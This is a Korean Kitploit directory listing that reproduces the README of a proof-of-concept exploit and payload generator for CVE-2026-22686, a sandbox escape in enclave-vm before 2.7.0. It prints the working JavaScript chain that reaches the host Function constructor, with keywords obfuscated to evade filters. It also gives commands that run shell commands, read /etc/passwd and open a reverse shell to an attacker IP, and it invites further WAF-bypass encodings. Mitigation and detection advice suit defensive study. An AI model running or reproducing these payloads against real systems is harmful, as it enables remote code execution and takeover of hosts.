Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-22686-RemoteCodeExecution-RCE-PoC — CVE-2026-22686에 대한 개념 증명 익스플로잇 및 페이로드 생성기로, enclave-vm <2.7.0의 샌드박스 탈출을 이용해 임의 코드 실행 및 리버스 셸을 가능하게 합니다. | Kitploit
도구/GitHubGitHub/moi404/cve-2026-22686-remotecodeexecution-rce-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & EducationRed Teaming

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
moi404/cve-2026-22686-remotecodeexecution-rce-poc

CVE-2026-22686-RemoteCodeExecution-RCE-PoC

CVE-2026-22686에 대한 개념 증명 익스플로잇 및 페이로드 생성기로, enclave-vm <2.7.0의 샌드박스 탈출을 이용해 임의 코드 실행 및 리버스 셸을 가능하게 합니다.

저장소 보기
3시간 43분 전아직 검토되지 않음

CVE-2026-22686 — enclave-vm 샌드박스 탈출 PoC

CVE CVSS enclave-vm Python License

CVE-2026-22686에 대한 개념 증명(PoC) 익스플로잇 및 페이로드 생성기입니다. 이 취약점은 enclave-vm 2.7.0 이전 버전에 존재하는 치명적인 샌드박스 탈출 취약점으로, 호스트 Node.js 런타임 내에서 임의 코드 실행을 가능하게 합니다.

⚠️ 면책 조항: 이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 사전 서면 동의 없이 시스템에 사용하는 것은 불법입니다. 작성자는 어떠한 오용에 대해서도 책임을 지지 않습니다.


📖 목차

  • 개요
  • 취약점 상세 정보
  • 동작 원리
  • 설치
  • 사용법
  • 페이로드 구조
  • 완화 방안
  • 법적 고지
  • 참고 자료
  • 작성자
  • 라이선스

🔍 개요

enclave-vm은 신뢰할 수 없는 코드를 통제된 환경 내에서 안전하게 실행하도록 설계된 JavaScript 샌드박싱 라이브러리입니다. < 2.7.0 버전에서는 호스트 측 오류 객체가 샌드박스에 노출되는 방식의 결함으로 인해, 공격자가 프로토타입 체인을 따라 올라가 호스트의 Function 생성자에 도달하여 샌드박스를 효과적으로 탈출할 수 있습니다.

이 저장소에는 다음이 포함되어 있습니다:

  • 바로 붙여넣을 수 있는 JavaScript 페이로드를 생성하는 페이로드 생성기
  • 호스트에서의 임의 명령 실행 지원
  • 리버스 셸 페이로드 지원
  • 이중 언어 대화형 CLI (프랑스어 / 영어)

🛡️ 취약점 상세 정보

근본 원인

샌드박스 내 도구 호출이 실패하면, enclave-vm은 호스트 측 Error 객체를 샌드박스 코드에 다시 노출합니다. 이 오류 객체는 호스트 환경의 원래 프로토타입 체인을 유지하기 때문에, 공격자는 다음과 같이 체인을 따라 올라갈 수 있습니다:

root@kitploit:~
Error 인스턴스
   └── Error.prototype
        └── Error 생성자
             └── Function 생성자  ← 호스트 Function!

호스트 Function 생성자를 획득하면, 공격자는 호스트 런타임에서 임의의 JavaScript를 컴파일하고 실행할 수 있으며 — 샌드박스를 완전히 우회합니다.


⚙️ 동작 원리

익스플로잇은 다음 단계를 따릅니다:

  1. 호스트 측 오류를 트리거합니다. 존재하지 않는 도구를 호출하여 (callTool('NONEXISTENT', {})) 오류를 발생시킵니다.
  2. 오류 객체를 가져옵니다. 샌드박스에서 오류 객체를 가져옵니다 (호스트 프로토타입 체인에 대한 참조를 유지합니다).
  3. 프로토타입 체인을 따라 올라가 Error.prototype.constructor.constructor에 도달합니다. 이것이 호스트의 Function입니다.
  4. 공격자의 페이로드를 컴파일합니다. 호스트 Function을 사용하여 컴파일하고 실행합니다.
  5. 페이로드는 child_process를 로드하고 임의의 셸 명령을 실행합니다 (또는 리버스 셸을 생성합니다).

모든 민감한 키워드 (constructor, __proto__, __lookupGetter__, prototype)는 단순한 정적 필터를 우회하기 위해 ASCII 문자 코드로 난독화되어 있습니다.


📦 설치

외부 의존성 없음 — Python 표준 라이브러리만 사용합니다.

root@kitploit:~
git clone https://github.com/moi_404/CVE-2026-22686-PoC.git
cd CVE-2026-22686-PoC
chmod +x generator.py

요구 사항:

  • Python 3.8+

🚀 사용법

대화형 모드

root@kitploit:~
python3 generator.py

다음과 같은 입력을 요청받습니다:

  1. 언어 선택 (프랑스어 / 영어)
  2. 페이로드 유형 선택 (명령 또는 리버스 셸)
  3. 명령 / IP / 포트 입력

그런 다음 생성된 페이로드를 복사하여 취약한 샌드박스 입력에 붙여넣습니다.

명령 실행

root@kitploit:~
python3 generator.py -c "id"
python3 generator.py -c "cat /etc/passwd"
python3 generator.py -c "ls -la /home"

리버스 셸

터미널 1 (공격자 — 리스너):

root@kitploit:~
nc -lvnp 4444

터미널 2 (생성기):

root@kitploit:~
python3 generator.py --revshell 10.10.15.152 4444

생성된 페이로드를 복사하여 샌드박스에 붙여넣습니다. 터미널 1에서 셸을 받아야 합니다.

원시 페이로드 출력

root@kitploit:~
python3 generator.py -c "id" --raw > payload.js
python3 generator.py --revshell 10.10.15.152 4444 --raw | xclip -selection clipboard

CLI 옵션


🔬 페이로드 구조

1. ASCII 디코더

root@kitploit:~
const s = (...args) => String.fromCharCode(...args);

런타임에 ASCII 코드 배열을 디코딩하는 작은 헬퍼입니다.

2. 난독화된 키워드

root@kitploit:~
const kCon    = s(99,111,110,115,116,114,117,99,116,111,114);   // "constructor"
const kProto  = s(95,95,112,114,111,116,111,95,95);              // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95);  // "__lookupGetter__"
const kPtype  = s(112,114,111,116,111,116,121,112,101);          // "prototype"

단순한 문자열 기반 필터를 회피합니다.

3. 익스플로잇 체인

root@kitploit:~
const ObjectProto = Object[kPtype];
const lookup = ObjectProto[kLookup];
const getProtoNative = lookup.call(ObjectProto, kProto);

let hostError;
try {
    await callTool('NONEXISTENT', {});
} catch (e) {
    hostError = e;
}

const errProto = getProtoNative.call(hostError);
const HostFunc = errProto[kCon][kCon];   // 호스트의 Function 생성자
const result = HostFunc(payload)();      // 임의 코드 실행

그런 다음 호스트 Function을 사용하여 child_process.execSync()를 통해 공격자의 명령을 실행합니다.


🛡️ 완화 방안

개발자용:

  • enclave-vm을 >= 2.7.0으로 업그레이드하세요.
  • 의존성 트리를 정기적으로 감사하세요 (npm audit, Snyk, Dependabot).
  • 추가 검증 없이 신뢰할 수 없는 입력에 샌드박스 실행 기능을 노출하지 마세요.
  • 샌드박스 코드를 격리된 프로세스에서 실행하세요 (예: isolated-vm, gVisor, Firecracker).

사용자 / 조직용:

  • 프로덕션 환경에서 오래된 샌드박스 라이브러리를 모니터링하세요.
  • 사용자 코드를 실행하는 모든 프로세스의 아웃바운드 네트워크 접근을 제한하세요.
  • 최소 권한 원칙을 적용하세요: Node.js 프로세스를 비루트로 실행하세요.

탐지:

callTool('NONEXISTENT', __lookupGetter__, 쉼표로 구분된 정수 리터럴의 긴 배열, 또는 child_process / execSync를 포함하는 HTTP 요청이나 코드 제출을 찾으세요.


⚖️ 법적 고지

이 프로젝트는 교육 및 방어적 보안 연구 목적으로만 게시됩니다. 보안 연구원, 승인된 침투 테스터, CTF 플레이어를 대상으로 합니다.

소유하지 않았거나 명시적인 서면 승인이 없는 시스템에 이 도구를 사용하지 마세요. 컴퓨터 시스템에 대한 무단 접근은 대부분의 관할권에서 불법이며 (미국의 CFAA, 영국의 Computer Misuse Act, 프랑스의 Article 323-1) 심각한 형사 처벌을 받을 수 있습니다.

이 소프트웨어를 사용함으로써, 귀하는 그 사용으로 인해 발생하는 어떠한 손해나 법적 결과에 대해서도 작성자가 책임지지 않음에 동의합니다.


📚 참고 자료

  • enclave-vm on npm
  • Original PoC by @amusedx
  • CWE-693: Protection Mechanism Failure
  • Node.js child_process documentation
  • OWASP: Sandboxing Best Practices

👤 작성자

  • GitHub: @moi_404

📄 라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다 — 자세한 내용은 LICENSE 파일을 참조하세요.


🙏 감사의 글

  • 원래 취약점 연구와 PoC를 제공한 @amusedx
  • 책임 있는 공개와 수정을 해준 enclave-vm 유지관리자
  • JavaScript 샌드박스 탈출에 대한 지속적인 연구를 해주는 보안 커뮤니티

⭐ 기여

Pull request를 환영합니다. 주요 변경 사항의 경우 먼저 이슈를 열어주세요.

제안된 개선 사항:

  • WAF를 우회하기 위한 추가 인코딩 (base64, hex, rot13)
  • 취약한 엔드포인트 자동 탐지
  • 다른 샌드박스 라이브러리 지원 (vm2, isolated-vm)
  • 단위 테스트 및 CI 통합
도구 다운로드
필드값
CVE IDCVE-2026-22686
CVSS v3.110.0 (치명적)
CWECWE-693 — 보호 메커니즘 실패
구성 요소enclave-vm
영향 버전< 2.7.0
수정 버전2.7.0
영향샌드박스 탈출 → 임의 코드 실행 (RCE)
플래그설명
-c, --command실행할 셸 명령
--revshell LHOST LPORT리버스 셸 페이로드 생성
--raw페이로드만 출력 (배너, 장식 없음)
--lang {fr,en}인터페이스 언어 강제 지정
-h, --help도움말 및 예제 표시